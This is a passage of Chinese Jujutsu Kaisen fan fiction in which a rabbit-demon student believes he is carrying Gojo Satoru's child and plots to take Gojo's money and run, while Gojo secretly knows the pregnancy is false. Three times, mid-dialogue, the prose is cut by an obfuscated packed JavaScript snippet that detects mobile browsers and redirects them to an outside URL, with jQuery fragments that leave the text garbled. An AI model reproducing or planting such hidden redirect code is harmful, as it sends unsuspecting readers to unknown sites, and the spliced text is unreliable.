五条悟好了,但没走。他坐到沙发上,很自然地靠在那儿,像是自己家一样。 涂白洗完锅出来,看见他还在,皱眉:“你怎么还不走?” “雨刚停,外面还湿着。”五条悟说,“再坐会儿嘛。” 涂白瞪他,但没再赶人。他坐到沙发另一头,离五条悟远远的。 两人沉默了一会儿。 五条悟试探地问:“那……我们还能一起出任务吗?” 涂白别过脸:“……看你表现。” 五条悟眼睛一亮,立刻凑过来:“怎么表现?我请你吃一个月甜品?陪你刷所有恐怖片?还是——” 他越凑越近,涂白能闻到他身上雨水和姜茶混合的味道。 涂白抬手,推开他的脸:“你自己想,别问我。” 五条悟笑了,坐回去,但眼睛还盯着涂白。 窗外,夕阳完全落下去了,天边还剩一点橙红色的光。 客厅里没开灯,昏暗的光线下,两人的轮廓都有点模糊。 “小白。”五条悟又开口。 “又干嘛?” “我明天还能来吗?” 涂白愣了下:“来干嘛?” “给你带早餐。”五条悟说,“或者……陪你复习?你下周不是要考试吗?” 涂白没说话。 五条悟等了一会儿,有点紧张——他自己都没意识到自己在紧张。 然后涂白小声说:“……随你。” 五条悟笑了,笑得很开心。 他站起来:“那我明天早上来。你想吃什么?” “随便。” “那就芒果布丁和热牛奶。”五条悟说,“我走了,你早点休息。” 他走到门口,回头看了一眼。 涂白还坐在沙发上,侧着脸,看不清表情。 “晚安。”五条悟说。 “……晚安。” 门轻轻关上了。 涂白坐在沙发上,没动。 过了一会儿,他站起来,走到柜子前,看着那个Q版玩偶。 玩偶笑眯眯的,捏着喜久福,很可爱。 涂白伸手,轻轻碰了碰玩偶的脸。 然后他叹了口气,把玩偶放回原位,转身去洗澡了。 22.第22章:有宝宝了? 和解之后,日子仿佛又回到了往常那样,但是有些东西却在不知不觉间发生了改变。任务结束后的那顿晚饭,是在银座一家需要预约的法式餐厅。 五条悟订的位置,靠窗,能看见外面的街景。餐厅里灯光昏暗,每张桌子上都点着蜡烛,就像是情侣之间才会有的烛光晚餐那样。 涂白坐在对面,看着菜单上的价格,眼皮跳了跳。五条悟倒是一副习以为常的样子,点了鹅肝、牛排、龙虾,还有一瓶看起来很贵的红酒。 “庆祝任务顺利完成~”五条悟举杯。 涂白配合的和他碰了一下杯,喝了一小口。酒很醇,但他没什么心思品尝。他这几天总觉得很累,做什么都提不起劲,这很奇怪。 前菜上来的时候,涂白还能勉强吃几口。等主菜鹅肝端上来,那股浓郁的油脂味钻进鼻子,他突然觉得胃里一阵翻涌。 “怎么了?”五条悟注意到他脸色不对,急忙问道。 “没……”涂白刚说一个字,就赶紧捂住了嘴,不好,要吐出来了。 他猛地站起来,椅子在地上划出刺耳的声音,然后转身冲向洗手间。 五条悟愣了下,放下叉子跟了过去。 洗手间里,涂白趴在洗手池边干呕。什么都没吐出来,就是难受,胃里像有什么东西在搅。 五条悟走进来,站在他旁边,轻轻拍他的背:“吃坏肚子了?” 涂白摇头,脸色发白:“可能是……最近太累了。” 他打开水龙头漱口,抬头看镜子里的自己。眼睛有点红,脸色很差。 五条悟皱眉:“你最近脸色一直不好。明天去让哨子帮你检查一下吧。” “不用。”涂白立刻说,“就是肠胃炎,吃点药就好。” “肠胃炎会吐成这样?” “会的。”涂白擦擦嘴,“我肠胃一直不太好。” 五条悟盯着他看了几秒,没再坚持。两人回到座位,但涂白什么都吃不下了。五条悟叫来服务员,把剩下的菜打包。 回家路上,涂白坐在副驾驶,看着窗外的夜景。车开到一个红绿灯路口时,他又突然捂住了嘴。 五条悟赶紧把车靠边停下。 涂白推开车门,蹲在路边干呕。这次还是什么都没吐出来,就是难受,喉咙发紧。 五条悟下车,蹲在他旁边,手放在他背上:“真不用去看医生?” “真的不用。”涂白喘着气,“回去吃点药就好了。” 五条悟没说话,但眉头皱得很紧。 晚上回到公寓,涂白第一件事就是冲进洗手间。他对着镜子看了很久,手放在小腹上。 那里很平坦,什么都没有。 但他就是觉得……不对劲。 洗了澡出来,五条悟已经走了,桌上放着打包的饭菜和一张纸条:【热一下再吃,早点睡。】 涂白把菜放进冰箱,然后坐在沙发上,拿出手机。 他犹豫了一下,打开浏览器,在搜索框里打字:“男性呕吐原因”。 跳出来的答案很多:压力大、肠胃炎、食物中毒、晕车…… 涂白往下翻,看到一个词:“孕吐”。 他手指停住了。 然后他笑了,摇摇头,关掉浏览器。 怎么可能。 他是男的,而且……他和五条悟又没真的做过什么。 只是被碰了脊背而已。 涂白把手机扔到一边,躺到床上。闭上眼睛,脑子里却乱糟糟的。 --- 接下来的一个星期,涂白的状态越来越不对劲。 周一下午的古典文学课,他趴在桌子上睡着了。教授讲到《源氏物语》里薰君和浮舟的段落时,敲了敲黑板:“后面那位黑头发的同学,你来解释一下这段的隐喻。” 旁边的同学推了推涂白。 涂白猛地惊醒,站起来,脑子一片空白。 “我……”他张了张嘴,什么都说不出来。 教授皱眉:“涂白君,你最近上课总是走神。身体不舒服?” “……有点感冒。”涂白小声说。 “那要注意休息。”教授摆摆手,“坐下吧。” 涂白坐下,脸发烫。旁边的同学小声调侃:“涂白君,晚上做贼去了?黑眼圈这么重。” 涂白没说话,低头看课本,但一个字都看不进去。 周二中午在食堂看电视,新闻里播一条宠物领养的广告,画面里一只小白兔蜷缩在笼子里,眼睛湿漉漉的。 涂白看着看着,眼睛就红了。 他赶紧低头扒饭,但眼泪还是掉进了碗里。 对面坐着的同学吓了一跳:“涂白君?你没事吧?” “没事……”涂白抹了把脸,“就是……兔子太可怜了。” 同学表情古怪:“那是广告啊……” 涂白没解释,匆匆吃完饭走了。 周三晚上,五条悟说好七点来接他吃饭,结果七点十分才到。迟了十分钟。 涂白站在公寓楼下,手里拎着原本打算送五条悟甜品——本来想带给他吃的。 五条悟下车,笑着走过来:“抱歉抱歉,路上堵车——” 涂白突然把手里的甜品盒子摔在地上。 塑料盒子裂开,黄色的布丁溅了一地。 五条悟愣住了。 涂白也愣住了。他看着地上的布丁,又看看自己的手,不敢相信是自己摔的。 “我……”他张了张嘴。 五条悟走过来,没看地上的布丁,而是看着涂白:“怎么了?生我气了?” 涂白摇头,声音有点抖:“不是……我不知道……我就是突然……” 他突然哭了。 眼泪毫无预兆地涌出来,止都止不住。 五条悟慌了,手忙脚乱地掏纸巾:“别哭啊,我错了,我下次一定准时——” “不是你的错……”涂白一边哭一边说,“我也不知道我怎么了……就是好难受……” 五条悟把他拉进怀里,轻轻拍他的背:“好了好了,不哭了。我们去吃别的,你想吃什么?” 涂白在他怀里哭了一会儿,才慢慢平静下来。他抬起头,眼睛红红的:“我想吃拉面。” “好,吃拉面。” 那天晚上涂白吃了两碗拉面,还加了个溏心蛋。五条悟坐在对面看着他吃,眼神里有点担忧。 周四,他甚至始出现筑巢本能现象。 涂白自己都没意识到。早上起床,他看见床头柜上放着五条悟上次落下的墨镜,很自然地拿起来,放进了自己床头柜的抽屉里。 中午收拾房间,看见沙发上搭着五条悟的外套——是前几天五条悟说热脱下来放这儿的。涂白拿起外套,闻了闻,上面有五条悟的味道,淡淡的皂角香和一点甜品的甜味。 他犹豫了一下,把外套叠好,也放进了床头柜。 晚上喝水,用的是五条悟上次用过的那个马克杯。喝完,他把杯子洗了,擦干,然后……也放进了床头柜。 等周五五条悟来公寓找他时,涂白才意识到自己做了什么。 五条悟说:“我墨镜是不是落你这儿了?还有外套。” 涂白心里一紧:“……嗯。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142194|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在哪儿?我拿一下,今天要用。” 涂白走到床头柜前,打开抽屉。 里面整整齐齐地摆着:墨镜、外套、马克杯,还有五条悟以前落下的一个打火机、半包糖、甚至是一根用过的吸管。 涂白脸瞬间红了。 五条悟走过来,看到抽屉里的东西,挑眉:“哦?” “我、我只是帮你整理!”涂白赶紧解释,“这些东西乱放不好,我就收起来了……” “收在床头柜里?”五条悟似笑非笑。 “因为……因为顺手!”涂白语无伦次,“而且这里干净,不会落灰……” 五条悟没说话,只是看着他,眼神里有点涂白看不懂的东西。 涂白把东西一样样拿出来,塞到五条悟手里:“给你,快拿走。” 五条悟接过,但没走。他靠在墙上,看着涂白:“小白,你最近真的很不对劲。” “……我知道。” “去看医生吧。” “我不去。”涂白转身,“我就是压力大,考试快到了。” 五条悟沉默了一会儿,然后说:“好吧。但如果有任何不舒服,一定要告诉我。” “……嗯。” 五条悟走了。涂白关上门,背靠着门板,慢慢滑坐在地上。 他摸着自己的小腹。 那里还是平坦的。 但他就是觉得……里面有什么东西。 不一样的东西。 那天晚上,涂白等到半夜,确定五条悟不会突然穿墙进来后,才打开电脑。 他登录了一个加密论坛——那是妖族内部的交流平台,需要妖力波动才能进入。他很少用,注册后就没怎么上过。 他在搜索框里打字:“男性妖族呕吐嗜睡情绪失控收集物品”。 回车。 页面跳转,显示出一条古老的记载。 发帖时间是一百年前,发帖人匿名,但帖子里透露自己是一只兔妖。 标题是:《关于妖力交融后可能出现的特殊现象记录》 涂白点进去。 帖子很长,是用古汉语写的,有些词句很晦涩。涂白慢慢往下看。 前面讲的是妖力交融的原理,涂白跳过。中间讲了一些案例,涂白快速浏览。 直到他看到这一段: “……余与道侣(人类)结契三月后,突感身体异样。晨起呕吐,嗜睡,情绪起伏如潮。初以为病,然医者查无果。后渐觉小腹有暖流,如生命孕育之兆……” 涂白盯着屏幕,眼睛睁得很大。 他慢慢把手放在小腹上。 里面……有东西? 是宝宝? 他和五条悟的……? 可是他们什么都没做啊。 只是碰了脊背…… 涂白突然想起帖子开头说的“妖力交融”。 他和五条悟的咒力确实有过交融,五条悟的咒力进入过他的身体,他的妖力也回应过。 再加上那次脊背的触碰…… 涂白猛地站起来,冲进洗手间。 他对着镜子,掀起衣服,看着自己平坦的小腹。 然后他闭上眼睛,集中精神,用妖力去感知。 一开始什么都没有。 但慢慢地,他感觉到了——小腹深处,有一团微弱的、温暖的能量。很细微,像一颗小小的种子,静静待在那里。 涂白睁开眼睛,看着镜子里的自己。 脸色苍白,眼睛睁得很大,手在抖。 是真的。 他怀孕了。 五条悟的孩子。 23.第23章:跑路的准备 涂白瘫坐在浴室地砖上,后背抵着冰冷的墙面,手里还捏着手机。屏幕上是之前的通话记录,最近一条:涂宝。 他盯着那个名字看了好一会儿,手指在发抖。 浴室镜子里的自己,脸色白得像纸,眼睛睁得老大,黑眼圈很明显。头发乱糟糟的,睡衣领口歪了,露出一截锁骨。 他低头,手又摸上小腹。 平坦的,什么也看不出来。 但里面…… 涂白闭上眼睛,深吸一口气,然后拿起手机,拨通了大哥的电话。 铃声只响了一声就被接起来了。 “二宝?”涂宝的声音带着睡意,应该是被吵醒了,“这么晚……怎么了?” “哥……”涂白开口,声音抖得厉害,“我好像……出事了。” 电话那头安静了一秒,然后涂宝的声音立刻清醒了:“什么事?你受伤了?还是——” “我好像……”涂白打断他,每个字都像从喉咙里挤出来,“怀了五条悟的孩子。” 死寂。 电话那头一点声音都没有,连呼吸声都听不见。 三秒。 五秒。 十秒。 然后—— “什么?!!!!!!!” 涂宝的尖叫声几乎刺破涂白的耳膜。涂白把手机拿远了一点,等那边的声音小下去,才重新贴回耳边。 “二宝你再说一遍?你刚才说什么?我是不是听错了?你怀了什么?谁的?五条悟?那个白毛?你们什么时候——” “哥。”涂白打断他,声音很轻,但很稳,“是真的。我用妖力内视看过了……里面,真的有东西。” “可是……”涂宝的声音带上哭腔,“可是妖族里面公的怀孕案例很少的,你是不是弄错了?” “不可能。”涂白再次打断,语气斩钉截铁,“我肚子里的那团有生命波动……我能感知到的。” 电话那头传来吸鼻子的声音,涂宝哭了。 “那……那怎么办啊……”他哭得话都说不清,“你怎么会……你们不是还没……那个吗……” “妖力交融。”涂白简单解释,“他的咒力和我的妖力……还有那次脊背触碰,可能触发了什么。” “那你现在打算怎么办?告诉他吗?” 涂白沉默了一会儿。 “我不知道。”他说,“我脑子很乱。” “那……那你要不要回来?回横滨?我照顾你。”涂宝抽泣着说。 “不用。”涂白摇头,虽然涂宝看不见,“哥,你先别告诉涂兔,也别告诉爸妈。我想……自己先想想。” “可是——” “让我想想。”涂白重复。 电话那头安静了。过了一会儿,涂宝小声说:“好。但是二宝,你要答应我,不管做什么决定,都要跟我说,好吗?” “……嗯。” “还有,身体不舒服一定要去医院——不对,去找那个硝子小姐,她不是医生吗?” “我会的。” 又说了几句,涂白挂了电话。他把手机扔到一边,背靠着墙,仰头看着天花板。 浴室顶灯很亮,刺得他眼睛发酸。 他抬手摸了摸小腹,然后脑子里蹦出第一个念头: 跑。 必须跑。 但是…… 涂白低头,看着自己平坦的小腹。 我一个人……养得起吗? 他想起自己小时候,奶粉尿布看病,样样要钱。爸妈那会儿总说养孩子贵,三个儿子差点养不起。 他现在还在上学,咒术师任务收入不稳定,存款……他看了眼手机银行余额,三百多万日元。不够,远远不够。 涂白撑着地面站起来,腿有点软。他走出浴室,坐到书桌前,打开电脑。 新建一个文档,加密。 标题:《单亲养崽跑路计划》。 光标在闪。涂白盯着屏幕,手指放在键盘上,很久没动。 然后他开始打字。 1. 资金 孩子从出生到成年,估算至少需要五千万日元。包括:产检、生产、奶粉、尿布、衣服、教育、医疗……还有跑路需要的启动资金。 他现在有三百二十万。差太多了。 2. 身份 需要新的护照、户籍、学历证明。妖族内部有渠道,但很贵,而且要提前三个月预约。 3. 地点 北欧小国,对妖族友好,咒灵稀少。瑞典或者挪威。要查具体哪个城市适合带孩子生活,学校、医疗、妖族社区…… 涂白打字很快,一条条列出来,冷静得像在规划别人的事。 但打到最后一条时,他停住了。 光标停在“4. 五条悟的处理”这一行,闪了很久。 涂白盯着那几个字,手指慢慢收紧。 他点开手机,屏幕亮起,壁纸是默认的星空图。他划开,找到Line,点开和五条悟的聊天窗口。 最后一条消息是昨晚发的,五条悟说:【明天带你去吃那家新开的甜品店?听说芒果布丁很好吃。】 他还没回。 涂白看着那个聊天窗口,看着五条悟的头像——是一张搞怪的自拍,墨镜推到头顶,做了个鬼脸。 他咬住下唇,咬得很用力。 然后他打字: 【好呀~几点?】 发送。 他盯着自己发出去的那个笑脸表情,觉得胃里又开始翻涌。 只能利用他了。 先稳住他,拿到资源,攒够钱。 然后跑。 电脑屏幕的光照在他脸上,映出一片冷白。文档里那行“五条悟的处理”下面,他慢慢打出一行字: 扮演依赖,获取信任,索取资源。 期限:三个月。 手机震了一下。 五条悟秒回:【十二点?我去接你。】 涂白看着这条消息,手指悬在屏幕上。 然后他回:【嗯。想吃芒果布丁。】 五条悟发了个兔子蹦跳的表情包。 涂白关掉手机,靠在椅背上,闭上眼睛。 对不起,前辈。 但我赌不起。 --- 第二天中午十二点,五条悟准时出现在公寓楼下。涂白下楼时,他正靠在车边玩手机,看见涂白出来,立刻收起手机,笑着招手。 “今天气色好点了?”五条悟打量他。 涂白穿着宽松的白色卫衣和灰色运动裤,头发随便抓了抓,脸上没什么血色。他点点头:“嗯。” “走吧,那家店人很多,去晚了要排队。”五条悟帮他拉开车门。 车开往银座。路上五条悟一直在说话,说昨天任务的事,说高专学生的糗事,说最近新出的游戏。涂白安静听着,偶尔“嗯”一声。 他其实没怎么听进去。脑子里全是那个跑路计划,还有肚子里的……宝宝。 到了甜品店,果然要排队。五条悟去拿号,涂白坐在等候区的椅子上,手不自觉地摸着小腹。 “等十五分钟。”五条悟坐到他旁边,侧头看他,“你最近真的没事?脸色一直不好。” “……没事。”涂白说,“就是胃口不太好。” “那还非要吃甜品?” “想吃甜的。” 五条悟笑了,伸手揉他头发:“行,想吃什么都给你买。” 涂白没躲,任他揉。等五条悟手拿开,他才小声说:“前辈,我以后……可能不能出危险任务了。” “为什么?” “……身体原因。” 五条悟皱眉,正要问,店员叫到他们的号了。 两人进去坐下。店里装修得很温馨,暖黄色调,每张桌子上都摆着小花瓶,插着新鲜的雏菊。 五条悟点了一大堆,芒果布丁、草莓蛋糕、巧克力熔岩、泡芙塔。涂白只要了芒果布丁和一杯温水。 甜品上来后,五条悟吃得很开心,涂白却拿着勺子,半天没动。 “怎么了?”五条悟问,“不是说想吃吗?” 涂白看着面前的布丁,金黄色的芒果酱浇在雪白的布丁上,看起来很诱人。 但他没胃口。 不仅没胃口,还觉得有点恶心。 他放下勺子,深吸一口气,然后抬起头,看着五条悟。 “前辈。” “嗯?” “我有事要跟你说。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他绕过桌子,走到涂白身边,一把把他拉起来,然后紧紧抱住。 抱得很用力,涂白感觉肋骨都被勒疼了。 “生下来。”五条悟在他耳边说,声音在发抖,“我养。不,我们一起养。你想要什么我都给你,想住哪里都行,想吃什么——” “前辈。”涂白打断他,“你先放开,我喘不过气了。” 五条悟这才松手,但还抓着他的肩膀。他低头看着涂白,眼睛亮得惊人:“你什么时候发现的?怎么不早告诉我?身体不舒服是不是因为这个?你吐了几次?难受吗?要不要现在就去硝子那儿检查——” “前辈。”涂白再次打断,“你先坐下,大家都在看。” 五条悟这才注意到周围的目光。他挠挠头,不好意思地笑了笑,但还是拉着涂白坐下,手一直没松开。 “所以是真的?”他问,像在确认。 “真的。” “男孩女孩?” “……才一个月,看不出来。” “哦对。”五条悟点头,然后又开始笑,“我要当爸爸了……我从来没想过……” 他松开涂白的手,拿起手机,开始飞快地打字:“我得告诉夜蛾,任务要调整,还有你的课程……对了,你要不要搬来和我住?我那儿大,有客房——不对,你住主卧,我住客房。还有饮食,孕妇——孕夫?要吃什么?我要查一下——” “前辈。”涂白第三次打断,“你先冷静。” 五条悟放下手机,看着他,眼睛还是亮的:“我冷静不下来。” 涂白看着他兴奋的样子,心里某处软了一下。 但很快,那点柔软就被压下去了。 他靠到五条悟肩上,闭上眼睛。 “嗯。”他说,“我们一起养。” 五条悟搂住他,手轻轻放在他背上,避开了脊线位置。 “你放心。”五条悟轻声说,“有我在,什么都别怕。” 涂白靠在他肩上,没说话。 他睁着眼睛,看着五条悟肩膀的布料纹理,眼神清醒又冷静。 孩子不是自己一个人的,五条悟也有责任。 再说了,他那么多钱,自己骗他点儿钱怎么了。 不能心软。 等骗够了钱,准备好假身份,就立马跑路。 他这么想着,手轻轻放在小腹上。 里面那团小小的能量,微弱地跳动了一下。 像是回应。 24.第24章:笨拙的温柔 从甜品店出来后,五条悟做的第一件事是掏出手机,给夜蛾正道打电话。 涂白坐在副驾驶座上,看着他。 电话接通,五条悟开了免提。 “夜蛾。”五条悟的声音听起来和平时不太一样,有点紧绷,“未来三个月,所有需要离开东京的任务,我都接不了。” 电话那头安静了两秒,然后传来夜蛾低沉的声音:“理由?” “我家孕夫需要我。”五条悟说得很自然,像是在说“今天天气不错”。 更长久的沉默。 涂白甚至能想象夜蛾在电话那头皱眉的表情。 “悟,”夜蛾终于开口,“你认真的?” “超认真。”五条悟说,“小白怀孕了,我的。前三个月不稳定,我要在身边。” “……” “所以远程任务都推掉,本地任务我可以接,但得看情况。”五条悟继续说,“还有,小白的咒术师评级审核能不能加快?他现在是一级,但考虑到特殊情况,我建议给他特批一个——” “五条。”夜蛾打断他,“你先冷静。” “我很冷静。” “你听起来一点都不冷静。”夜蛾叹了口气,“涂白君在旁边吗?” 五条悟看向涂白,涂白点了点头。 “在。” “让他接电话。” 五条悟把手机递过来。涂白接过,有点紧张:“校长。” “涂白君,五条说的是真的?” “……是真的。” 夜蛾又沉默了。这次涂白能听见他深呼吸的声音。 “我知道了。”夜蛾说,“任务的事我会调整。至于评级审核……我会想办法。但五条,你别太乱来。” “我哪有乱来~”五条悟拿回手机,“那就这样,谢啦夜蛾!” 他挂了电话,把手机扔到中控台上,然后转头看涂白,眼睛亮亮的:“搞定。” 涂白看着他兴奋的样子,心里那点愧疚感又冒出来了。 但他很快压下去。 “前辈,”他说,“其实你不用——” “要的。”五条悟打断他,启动车子,“你现在不是一个人了,我得照顾好你们。” 他说“你们”,很自然。 涂白抿了抿嘴唇,没再说话。 车开到五条悟公寓楼下。五条悟下车,绕到副驾驶这边,给涂白开门,还伸手扶他。 “我自己能走。”涂白说。 “小心点好。”五条悟没松手。 两人上楼。五条悟的公寓涂白来过几次,但这次感觉不一样。五条悟一进门就直奔书房,涂白听见里面传来翻箱倒柜的声音。 “你在找什么?”涂白走过去,站在书房门口。 五条悟正蹲在一个书架前,把里面的东西一样样往外搬:文件、咒具、旧照片、乱七八糟的小玩意。 “我记得我有本育儿书的……”五条悟头也不抬,“以前谁送我的来着……啊,找到了!” 他抽出一本厚厚的硬皮书,封面已经有点旧了,上面写着《新生儿护理大全》。 涂白愣住:“你……怎么会有这个?” “冥冥送的。”五条悟站起来,拍了拍书上的灰,“几年前我帮她处理了个麻烦,她送我这个当谢礼。我当时还笑她送得奇怪,没想到……” 他翻开书,眼睛发亮:“现在用上了。” 涂白看着他翻书的样子,手指无意识地蜷缩了一下。 那天晚上,涂白睡在客卧——五条悟坚持让他睡主卧,但涂白拒绝了。五条悟拗不过他,只好把客卧的床单被套全换成新的,枕头也换了两个。 “不舒服就跟我说。”五条悟站在门口,“我就在隔壁。” “……嗯。” 涂白躺在床上,却睡不着。他听着隔壁房间传来细微的动静——五条悟好像也没睡。 第二天早上,涂白被敲门声叫醒。 他打开门,五条悟站在外面,穿着居家服,头发还有点乱,手里拿着手机。 “早。”五条悟说,“硝子回我了。” “……什么?” “昨晚我给她发消息,问男人怀孕要注意什么。”五条悟把手机递过来,“她回了一长串,我截屏了,你看。” 涂白接过手机。屏幕上确实是硝子的聊天窗口,发了一大段文字,从饮食到作息到情绪管理,很详细。 最后还有一句:【你脑子坏了?男的怎么会怀孕?】 五条悟的回话是:【小白是兔妖,妖族可以。】 硝子:【……哦。那当我没说。但还是要定期检查,妖族怀孕和人类不一样,很多指标不通用。下周带他来我这儿。】 五条悟:【好。】 涂白把手机还回去:“硝子小姐……没觉得奇怪?” “有什么奇怪的?”五条悟理所当然地说,“你是兔妖,我是咒术师,我们的孩子肯定是特别的。” 他说得很自然,像在说一件再正常不过的事。 涂白不知道该说什么。 早饭是五条悟做的——如果那能叫“做”的话。他叫了外卖,但自己摆了盘,还煎了两个蛋(一个煎糊了,一个勉强能吃)。 “以后早餐我来准备。”五条悟说,“午餐和晚餐……我叫厨师上门?或者你想吃什么,我去买。” “不用这么麻烦。”涂白说,“我自己能做饭。” “不行。”五条悟摇头,“油烟对孕夫不好。” 涂白想说“我没那么娇气”,但话到嘴边又咽回去了。 他现在要扮演依赖的角色。 “那……麻烦前辈了。”他小声说。 五条悟笑了,伸手揉他头发:“不麻烦。” 吃完早饭,五条悟说要去买东西,让涂白在家休息。涂白坐在沙发上,看着他出门,然后站起来,在公寓里转了转。 书房的门开着。涂白走进去,看见书桌上摊着几本书:《兔子饲养指南》《孕期营养学》《胎教音乐精选》。 旁边还放着一个笔记本,翻开的那页上写着: 小白怀孕注意事项 ·不能吃生冷(肠胃弱) ·不能熬夜(伤身) ·不能出危险任务(安全第一) ·要保持心情愉快(重要!) 字迹很潦草,但写得很认真。 涂白盯着那行“要保持心情愉快”,看了很久。 然后他走出书房,在客厅转了一圈。 然后他看到了。 客厅的墙壁上,贴了一张很大的日历。是那种带可爱动物图案的,五条悟用红色的马克笔在上面圈了几个日期: 第8周:第一次产检(硝子) 第12-27周:孕中期 第28周:进入孕晚期 第40周:预产期 旁边还用便签纸贴了几张提醒: ·买孕妇装(男款) ·准备婴儿房 ·学习换尿布 ·取名字 涂白站在日历前,手指轻轻碰了碰“预产期”那个圈。 五条悟连预产期都算了。 虽然妖族怀孕周期不一定和人类一样,但他还是算了。 涂白转身,想回房间,却看见茶几上放着一个盒子。 他走过去,打开。 里面是一个胎心仪——家用那种,白色的,带探头和耳机。 盒子里还有张说明书,五条悟在上面用笔划了几行字,旁边标注:“这个功能可能对妖族没用,但试试看。” 涂白拿起那个胎心仪,很轻,塑料外壳凉凉的。 他放下,把盒子盖好,坐回沙发上。 心里堵得难受。 下午五条悟回来了,拎着大包小包。涂白去开门,看见他手里提着超市袋子,还有几个服装店的纸袋。 “买这么多?”涂白问。 “不多。”五条悟挤进来,“衣服是给你买的,宽松款的,穿着舒服。还有这个——” 他从袋子里掏出一个毛绒兔子玩偶,巴掌大,黑毛红眼。 “像你。”五条悟把玩偶塞到涂白手里。 涂白看着那个玩偶,手指捏了捏,手感极好,软乎乎的。 “谢谢。”他说。 五条悟笑了笑,然后开始整理买回来的东西。除了衣服和玩偶,还有一堆食材——大多是涂白喜欢吃的,芒果、胡萝卜、还有一些坚果。 “我还买了育儿书。”五条悟从袋子里掏出几本新书,“最新的版本,比冥冥送的那本全面。” 他把书放在茶几上,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150223|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后在涂白旁边坐下,拿起一本翻。 涂白看着他专注的侧脸,突然问:“前辈,你不觉得……奇怪吗?” “什么奇怪?” “就是……”涂白斟酌着措辞,“男人怀孕,还是妖和人类的孩子……” 五条悟抬头看他,冰蓝色的眼睛很清澈:“不奇怪啊。” “可是——” “小白。”五条悟打断他,“这个世界本来就什么都有可能。咒灵存在,咒术存在,兔妖存在,那兔妖怀孕为什么不能存在?” 他说得很理所当然。 “而且,”五条悟笑了,“是我们的孩子,那就更没什么好奇怪的了。” 涂白不说话了。 晚上,涂白洗完澡出来,看见五条悟坐在客厅沙发上,手里拿着一本书。 是童话书。 彩色的封面,画着王子和公主。 “前辈,”涂白走过去,“你看这个干嘛?” “胎教啊。”五条悟说,拍了拍身边的位置,“过来坐。” 涂白坐下。五条悟翻开书,清了清嗓子,开始念: “从前,有一个美丽的王国,王国里住着一位善良的公主……” 他的声音很低,很温柔,和平时的懒洋洋完全不一样。 涂白听着,忍不住说:“前辈,他现在还听不见吧……” “听得见。”五条悟很认真,“我的孩子肯定聪明,现在就能听见。” 他继续念。 涂白靠在他旁边,听着他念故事。五条悟的声音很好听,低低的,带着磁性。他念得很慢,偶尔还会停下来,对着涂白的肚子说:“这里要注意听哦,王子要去救公主了。” 涂白想笑,但鼻子有点酸。 他别过脸,眼睛盯着地板。 这样的温柔……太犯规了。 他闭上眼睛,假装困了。五条悟察觉到了,声音放得更轻,最后停了下来。 “困了?”他问。 “……嗯。” “那去睡吧。”五条悟合上书,“明天再念。” 涂白站起来,往房间走。走到门口,他回头看了一眼。 五条悟还坐在沙发上,低头看着那本童话书,手指轻轻摩挲着书页。 灯光落在他白色的头发上,镀上一层暖黄。 涂白迅速转回头,关上门。 他靠在门后,手放在小腹上。 里面那团能量,微弱地跳动着。 像是在说:我在这里。 涂白深吸一口气,然后吐出来。 他走到床边,躺下,闭上眼睛。 但脑子里全是五条悟念故事的声音,还有他认真圈日历的样子,还有他说“我们的孩子”时发亮的眼睛。 涂白翻了个身,把脸埋进枕头里。 不能心软。 他对自己说。 计划不能变。 --- 而在客厅里,五条悟的手机震了一下。 他拿起来看,是硝子发来的消息。 【今天涂白君状态怎么样?】 五条悟打字:【还好,就是胃口不太好。你确定是假孕?】 硝子:【确定。妖力拟态,很精妙,但瞒不过我。不过你最好别拆穿,他现在情绪不稳定,拆穿了可能会崩溃。】 五条悟:【我知道。那就当是真的。】 硝子:【你认真的?陪他演?】 五条悟:【嗯。他以为是真的,那就是真的。我会照顾好他。】 硝子那边显示“正在输入中”,过了一会儿才发来: 【行。但你自己把握好度。假孕一般持续三个月左右,到时候妖力拟态会自然消散。你要怎么跟他解释“流产”?】 五条悟盯着那句话,看了很久。 然后他回: 【到时候再说。现在先让他开心。】 他放下手机,拿起那本童话书,又翻了一页。 手指轻轻碰了碰书页上的插图。 “不管是不是真的,”他轻声说,像在自言自语,“我都会保护好你们。” 窗外,东京的夜景灯火通明。 而屋里的两个人,一个在假装不知道,一个在假装接受。 谁都不知道,这场戏,最后会演成什么样。 25.第二十五章 跑路进度条10% 早上六点刚过,涂白就被一阵翻江倒海的恶心感逼醒了。 他捂着嘴从床上弹起来,拖鞋都没穿就冲进卫生间,跪在马桶前干呕起来。胃里空荡荡的,吐出来的只有酸水,可那股恶心劲儿就是不肯退,逼得他眼泪都冒出来了。 “小白?” 卫生间的门被推开,五条悟顶着一头乱糟糟的白发探进头来。他昨晚大概又熬夜了,眼罩歪歪斜斜地挂在脖子上,露出底下那双冰蓝色的眼睛——此刻那眼睛里满是没睡醒的茫然,但在看到涂白跪在地上的样子时,瞬间清醒了。 “怎么了?胃不舒服?”五条悟快步走进来,蹲到他旁边,手悬在他背上,想碰又不敢碰的样子。 涂白摆摆手,想说话,又是一阵干呕。 五条悟立刻转身出去了。涂白听见厨房传来翻箱倒柜的声音,还有玻璃杯碰撞的轻响。过了大概一分钟,五条悟又回来了,手里端着一杯温水。 “漱漱口。”他把杯子递过来。 